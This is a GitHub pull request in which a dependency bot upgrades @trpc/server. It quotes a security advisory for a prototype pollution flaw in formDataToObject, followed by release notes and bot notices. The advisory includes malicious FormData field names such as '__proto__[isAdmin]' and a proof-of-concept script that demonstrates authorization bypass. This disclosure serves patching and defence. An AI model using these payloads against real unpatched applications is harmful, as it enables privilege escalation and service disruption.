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@renovate renovate bot commented Dec 17, 2025

This PR contains the following updates:

Package Change Age Confidence
@trpc/server (source) 11.4.3 -> 11.8.0 age confidence

tRPC has possible prototype pollution in experimental_nextAppDirCaller

CVE-2025-68130 / GHSA-43p4-m455-4f4j

More information

Details

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions
  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts
Vulnerability Details
Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}
Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"
Proof of Concept
##### Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

##### Step 2: Initialize npm

npm init -y

##### Step 3: Install vulnerable tRPC

npm install @​trpc/server@11.7.2

##### Step 4: Create the test file 

Test.js
const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}
Impact
Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Severity

  • CVSS Score: 8.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

trpc/trpc (@​trpc/server)

v11.8.0

Compare Source

What's Changed

v11.7.2

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.7.1...v11.7.2

v11.7.1

Compare Source

What's Changed
New Contributors

Full Changelog: trpc/trpc@v11.7.0...v11.7.1

v11.7.0

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.6.0...v11.7.0

v11.6.0

Compare Source

What's Changed

  • feat: add precondition required response code by @​y-nk in #​6954
  • fix(client): httpBatchStreamLink in React Native "stream ends with TypeError" by @​KATT in #​6960

New Contributors

Full Changelog: trpc/trpc@v11.5.1...v11.6.0

v11.5.1

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.5.0...v11.5.1

v11.5.0

Compare Source

What's Changed

  • patch: prefer Standard Schema for input/output type inference by @​dzhu in #​6888
  • feat(server): expose procedure path in resolver options by @​KATT in #​6902

New Contributors

Full Changelog: trpc/trpc@v11.4.4...v11.5.0

v11.4.4

Compare Source

What's Changed

  • patch: typescript 5.9 support by @​KATT in #​6877
  • fix(client): httpBatchLink with custom transformed object at top level by @​KATT in #​6878
  • fix: incompatible types in monorepo due to separate .d.ts for esm/cjs by @​KATT in #​6879

New Contributors

Full Changelog: trpc/trpc@v11.4.3...v11.4.4


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@renovate renovate bot added the Security label Dec 17, 2025
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Oops! Looks like you forgot to update the changelog. When updating CHANGELOG.md, please consider the following:

  • Changelog is read by country implementors who might not always be familiar with all technical details of OpenCRVS. Keep language high-level, user friendly and avoid technical references to internals.
  • Answer "What's new?", "Why was the change made?" and "Why should I care?" for each change.
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github-actions bot commented Jan 7, 2026

This PR has been marked with label stale Since it has been inactive for 20 days. It will automatically be closed in 10 days if no further activity occurs.

@github-actions github-actions bot added the Stale The pr is inactive label Jan 7, 2026
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